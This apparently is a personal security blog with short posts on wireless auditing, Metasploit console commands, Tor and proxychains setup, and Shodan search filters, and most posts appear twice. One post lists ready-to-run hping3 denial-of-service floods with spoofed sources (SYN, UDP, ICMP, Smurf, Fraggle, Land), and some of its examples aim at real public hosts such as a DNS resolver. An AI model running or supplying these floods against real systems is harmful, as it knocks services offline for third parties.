1) The security of Access Points and Access Controllers
Connect into the corresponding wlan before leveraging either Nessus or OpenVAS to fully scan those Access Points and Access Controllers.
2) The robustness of Wireless protocols
Run Kismet by executing the command, kismet, in a shell.
Manually check the encryption algorithm of each WIFI signal.
Bear in mind that there is a sequence listing the security robustness towards each of those WIFI protocols as shown below.
WPA2 Enterprise > WPA Enterprise > WPA2 PSK > WPA PSK > WEP > None Encryption
3) Wi-Fi Protected Setup (WPS) function
Run Fern WIFI Cracker and select the appropriate wlan0 interface before clicking the "Scan for Access points" button.
Check each access point and see if each of them enables the WPS function.
4) Rogue AP
Run Kismet by executing the command, kismet, in a shell.
Check all signals stronger than -40dBm while walking around.
5) Twins of Evil
Run the command, iwlist wlan0 scanning|grep -i 'address:\|essid:'.
There is an example as shown below.
root@alex-kali:~# iwlist wlan0 scanning|grep -i 'address:\|essid:'
Cell 01 - Address: 90:2B:CF:DC:09:15
ESSID:"alex11"
Cell 02 - Address: 80:29:94:D2:2A:1C
ESSID:"Highbridge26"
Cell 03 - Address: 00:26:62:9B:47:87
ESSID:"E5426"
Cell 04 - Address: B0:C2:87:B5:2B:79
ESSID:"TC8717T73"
Cell 05 - Address: 90:1A:CA:DC:12:10
ESSID:"alex6"
Cell 06 - Address: 00:14:D1:D4:64:02
ESSID:"ling23828"
Cell 07 - Address: 58:EF:68:60:C9:87
ESSID:"Linksys15"
Cell 08 - Address: 48:5D:36:56:44:0E
ESSID:"FiOS-TQ4TB"
Cell 09 - Address: 48:5D:36:21:6D:BA
ESSID:"FiOS-Q9BY2"
Cell 10 - Address: D8:D7:75:A8:59:5E
ESSID:"MySpectrumWiFi58-2G"
Cell 11 - Address: 80:29:94:D2:2A:1D
ESSID:"Highbridge23"
Cell 12 - Address: 58:EF:68:60:C9:88
ESSID:"Linksys15"
Cell 13 - Address: 58:EF:68:60:C9:89
ESSID:"Linksys15"
Cell 14 - Address: 20:C0:47:D3:4D:CA
ESSID:"Fios-DRARW-5G"
Cell 15 - Address: 22:C0:47:D3:4D:CB
ESSID:"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
Cell 16 - Address: 48:5D:36:56:44:0C
ESSID:"FiOS-TQ4TB-5G"
Cell 17 - Address: 4A:5D:36:56:44:0D
ESSID:"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
Cell 18 - Address: B8:D9:4D:4B:AA:0F
ESSID:"MySpectrumWiFi08-5G"
Check the output in order to filter out those Twins of Evil.
Wednesday, July 4, 2018
Tuesday, May 29, 2018
Some basic commands for Metasploit Msfconsole
Search for module:
msf > search [regex]
Show all Exploits:
msf > show exploits
Specify and exploit to use:
msf > use [ExploitPath]
Show all Payloads:
msf > show payloads
Specify a Payload to use:
msf > set payload [PayloadPath]
Show all Targets:
msf > show targets
Specify a Target to use:
msf > set target [TargetNumber]
Show all Encoders:
msf > show encoders
Specify a Encoder to use:
msf > set encoder [EncoderPath]
Show options for the current modules:
msf > show options
Set options:
msf > set [Option] [Value]
Start exploit:
msf > exploit
msf > run
msf > search [regex]
Show all Exploits:
msf > show exploits
Specify and exploit to use:
msf > use [ExploitPath]
Show all Payloads:
msf > show payloads
Specify a Payload to use:
msf > set payload [PayloadPath]
Show all Targets:
msf > show targets
Specify a Target to use:
msf > set target [TargetNumber]
Show all Encoders:
msf > show encoders
Specify a Encoder to use:
msf > set encoder [EncoderPath]
Show options for the current modules:
msf > show options
Set options:
msf > set [Option] [Value]
Start exploit:
msf > exploit
msf > run
Saturday, May 26, 2018
Utilizing Hping3 to launch Denial of Service (DoS) attacks
Documenting this post is for a convenient purpose. However, it does not cover some typical Denial of Service (DoS) attacks such as Ping of Death and Teardrop.
SYN Flood:
hping3 -V -c 1000000 -d 120 -S -w 64 -p (Victim Port) -s (Source Port) --flood --rand-source (Victim IP)
Example:
hping3 -V -c 1000000 -d 120 -S -w 64 -p 80 -s 1025 --flood --rand-source test.freeddns.org
Explanation:
-V:Verbose Mode
-c:Packet Count
-d:Data Size
-S:Syn
-w:Window Size
-p:Destination Port
-s:Source Base Port
--flood:Flood Mode
--rand-source:IP Spoofing
UDP Flood:
hping3 --flood --rand-source --udp -p (Victim Port) (Victim IP)
Example:
hping3 --flood --rand-source --udp -p 53 8.8.4.4
Explanation:
--flood:Flood Mode
--rand-source:IP Spoofing
--udp:UDP Mode
-p:Destination Port
ICMP Flood:
hping3 -1 --flood --rand-source (Victim IP)
Example:
hping3 -1 --flood --rand-source 192.168.0.88
-1:ICMP
--flood:Flood Mode
--rand-source:IP Spoofing
Smurf:
hping3 -1 --flood -a (Victim IP) (Broadcast IP)
Example:
hping3 -1 --flood -a 192.168.0.3 192.168.0.255
Explanation:
-1:ICMP
--flood:Flood Mode
-a:The Source IP or Host
Fraggle:
hping3 --udp --flood -p 7 -s 7 -k -a (Victim IP) (Broadcast IP)
Example:
hping3 --udp --flood -p 7 -s 7 -k -a 192.168.0.3 192.168.0.255
Explanation:
--udp:UDP
--flood:Flood Mode
-p:Destination Port
-s:Source Base Port
-k:Keep the source port the same
-a:The Source IP or Host
Land:
hping3 -V -c 1000000 -d 120 -S -w 64 -p (Victim Port) -s (Victim Port) -k -a (Victim IP) --flood (Victim IP)
Example:
hping3 -V -c 1000000 -d 120 -S -w 64 -p 80 -s 80 -k -a demonalex.freeddns.org --flood demonalex.freeddns.org
Explanation:
-V:Verbose Mode
-c:Packet Count
-d:Data Size
-S:Syn
-w:Window Size
-p:Destination Port
-s:Source Base Port
-k:Keep the source port the same
-a:The Source IP or Host
--flood:Flood Mode
References:
http://0daysecurity.com/articles/hping3_examples.html
http://www.hackingarticles.in/dos-penetration-testing-part-1/
http://www.iv2-technologies.com/DOSAttacks.pdf
https://neelpathak.wordpress.com/tag/hping3-tutorials/
http://blognyajohny.blogspot.com/2014/04/ddos-attack-using-hping-command-in-kali.html
https://www.blackmoreops.com/2015/04/21/denial-of-service-attack-dos-using-hping3-with-spoofed-ip-in-kali-linux/
SYN Flood:
hping3 -V -c 1000000 -d 120 -S -w 64 -p (Victim Port) -s (Source Port) --flood --rand-source (Victim IP)
Example:
hping3 -V -c 1000000 -d 120 -S -w 64 -p 80 -s 1025 --flood --rand-source test.freeddns.org
Explanation:
-V:Verbose Mode
-c:Packet Count
-d:Data Size
-S:Syn
-w:Window Size
-p:Destination Port
-s:Source Base Port
--flood:Flood Mode
--rand-source:IP Spoofing
UDP Flood:
hping3 --flood --rand-source --udp -p (Victim Port) (Victim IP)
Example:
hping3 --flood --rand-source --udp -p 53 8.8.4.4
Explanation:
--flood:Flood Mode
--rand-source:IP Spoofing
--udp:UDP Mode
-p:Destination Port
ICMP Flood:
hping3 -1 --flood --rand-source (Victim IP)
Example:
hping3 -1 --flood --rand-source 192.168.0.88
-1:ICMP
--flood:Flood Mode
--rand-source:IP Spoofing
Smurf:
hping3 -1 --flood -a (Victim IP) (Broadcast IP)
Example:
hping3 -1 --flood -a 192.168.0.3 192.168.0.255
Explanation:
-1:ICMP
--flood:Flood Mode
-a:The Source IP or Host
Fraggle:
hping3 --udp --flood -p 7 -s 7 -k -a (Victim IP) (Broadcast IP)
Example:
hping3 --udp --flood -p 7 -s 7 -k -a 192.168.0.3 192.168.0.255
Explanation:
--udp:UDP
--flood:Flood Mode
-p:Destination Port
-s:Source Base Port
-k:Keep the source port the same
-a:The Source IP or Host
Land:
hping3 -V -c 1000000 -d 120 -S -w 64 -p (Victim Port) -s (Victim Port) -k -a (Victim IP) --flood (Victim IP)
Example:
hping3 -V -c 1000000 -d 120 -S -w 64 -p 80 -s 80 -k -a demonalex.freeddns.org --flood demonalex.freeddns.org
Explanation:
-V:Verbose Mode
-c:Packet Count
-d:Data Size
-S:Syn
-w:Window Size
-p:Destination Port
-s:Source Base Port
-k:Keep the source port the same
-a:The Source IP or Host
--flood:Flood Mode
References:
http://0daysecurity.com/articles/hping3_examples.html
http://www.hackingarticles.in/dos-penetration-testing-part-1/
http://www.iv2-technologies.com/DOSAttacks.pdf
https://neelpathak.wordpress.com/tag/hping3-tutorials/
http://blognyajohny.blogspot.com/2014/04/ddos-attack-using-hping-command-in-kali.html
https://www.blackmoreops.com/2015/04/21/denial-of-service-attack-dos-using-hping3-with-spoofed-ip-in-kali-linux/
Tuesday, May 22, 2018
Apply SOCKS Proxy (e.g. Tor) to Linux Shell terminal by using Proxychains
1) Turn on SOCKS Proxy such as Tor service
2) vi /etc/proxychains.conf
3) Add the following line to the end of proxychains.conf
socks5 127.0.0.1 9150
4) Execute the command below in order to verify whether the IP address has been changed
proxychains wget -qO- v4.ifconfig.co
2) vi /etc/proxychains.conf
3) Add the following line to the end of proxychains.conf
socks5 127.0.0.1 9150
4) Execute the command below in order to verify whether the IP address has been changed
proxychains wget -qO- v4.ifconfig.co
Leverage Tor as a SOCKS proxy
After the Tor Browser is executed, point the SOCKS Proxy of the underlying operating system to "127.0.0.1:9150".
P.S.: When the Tor Browser is ended up, the SOCKS Proxy service will be shut down at the same time.
P.S.: When the Tor Browser is ended up, the SOCKS Proxy service will be shut down at the same time.
Install and configure Tor
1) Download Tor Browser from https://www.torproject.org/download/download-easy.html.en
2) Move the *.tar.xz file to /usr/local/sbin
3) Execute the commands below
#cd /usr/local/sbin
#tar -xvf ./tor-browser-linux32-7.5.4_en-US.tar.xz
#cd tor-browser_en-US/Browser
#vi ./start-tor-browser
4) Comment the lines below before saving and exiting the vi
if [ "`id -u`" -eq 0 ]; then
complain "The Tor Browser Bundle should not be run as root. Exiting."
exit 1
fi
5) Run the command below
#/usr/local/sbin/tor-browser_en-US/Browser/start-tor-browser
2) Move the *.tar.xz file to /usr/local/sbin
3) Execute the commands below
#cd /usr/local/sbin
#tar -xvf ./tor-browser-linux32-7.5.4_en-US.tar.xz
#cd tor-browser_en-US/Browser
#vi ./start-tor-browser
4) Comment the lines below before saving and exiting the vi
if [ "`id -u`" -eq 0 ]; then
complain "The Tor Browser Bundle should not be run as root. Exiting."
exit 1
fi
5) Run the command below
#/usr/local/sbin/tor-browser_en-US/Browser/start-tor-browser
Monday, May 21, 2018
Some examples regarding Shodan's keywords
[Geography]
country:US
city:Guangzhou
geo:33.5,36.3
[Time]
before:01/01/2014
after:01/01/2014
[Network and System Scan]
net:216.0.0.0/16
port:443
os:"windows 2003"
[Site and Page Scan]
hostname:google.com
title:"Server Room"
[Exclusion]
-port:80
country:US
city:Guangzhou
geo:33.5,36.3
[Time]
before:01/01/2014
after:01/01/2014
[Network and System Scan]
net:216.0.0.0/16
port:443
os:"windows 2003"
[Site and Page Scan]
hostname:google.com
title:"Server Room"
[Exclusion]
-port:80
Subscribe to:
Posts (Atom)